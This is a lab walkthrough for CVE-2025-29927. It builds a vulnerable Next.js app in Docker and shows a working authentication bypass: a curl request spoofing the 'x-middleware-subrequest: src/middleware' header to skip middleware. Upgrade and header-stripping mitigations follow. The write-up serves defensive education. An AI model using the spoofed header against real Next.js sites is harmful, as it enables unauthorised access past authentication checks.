
A Proof of Concept for CVE-2025-29927 demonstrating a middleware bypass in Next.js versions prior to 13.5.9
CVE-2025-29927 is a Middleware Bypass vulnerability found in Next.js versions 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3. It allows an external attacker to skip security logic—such as authentication, bot detection, or geolocation redirects—that a developer has implemented in their middleware.ts file.
Next.js uses internal HTTP headers to communicate between its different architectural layers. One of these headers is x-middleware-subrequest.
The vulnerability exists because vulnerable versions of Next.js trust this header even when it is sent by an external client (like a browser or curl). When the server sees this header, it assumes the request has already been processed and "cleared" by the middleware, so it skips the execution of your security code entirely.
The lab is running inside a Node:18-alpine Docker container to ensure a clean and reproducible environment
We start by spinning up a named container in the background. We use sleep infinity to keep the container alive during configuration.
I initially ran into some issues restarting my container in later stages, that's why I decided on sleep infinity
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
We install the specific vulnerable version of Next.js. Note that despite the --src-dir false flag, the framework creates a src directory, which is where we must place our middleware for it to be active.
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
To simulate a security barrier, we create a middleware.ts file. This middleware is configured to block all incoming requests with a 401 Unauthorized status.
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh
# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
Start the development server and wait for the ✓ Ready signal in the console.
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
Open a new terminal window (do not shut previous terminal down) on your host machine to test the environment using curl.
A standard request without modified headers is correctly caught and blocked by our middleware.
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized
By injecting the internal header x-middleware-subrequest: src/middleware, we trick Next.js into believing the request has already been verified by an internal process. The server skips the middleware execution and grants full access.
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
To protect your application against CVE-2025-29927, you should upgrade Next.js to the patched version corresponding to your current major release:
The vulnerability is resolved in the following versions. Ensure your package.json reflects at least these versions:
# Example for updating to the latest patched version
npm install next@latest
If an immediate upgrade is not possible, you should configure your Web Application Firewall (WAF) or Reverse Proxy (e.g., Nginx, Cloudflare, or Varnish) to strip or drop the x-middleware-subrequest header from all incoming external requests before they reach the Next.js application server.
After upgrading, you can verify the fix by re-running the exploit command from Step 5. A patched server will no longer grant a 200 OK when the spoofed header is present.
This vulnerability exists because Next.js trusts client-side headers to identify internal sub-requests. To mitigate this, Next.js should be updated to a version that properly validates or strips these internal headers from external incoming traffic.